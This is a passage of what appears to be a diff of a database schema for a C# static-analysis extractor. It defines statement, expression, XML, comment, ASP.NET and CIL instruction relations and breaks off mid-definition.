@do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = 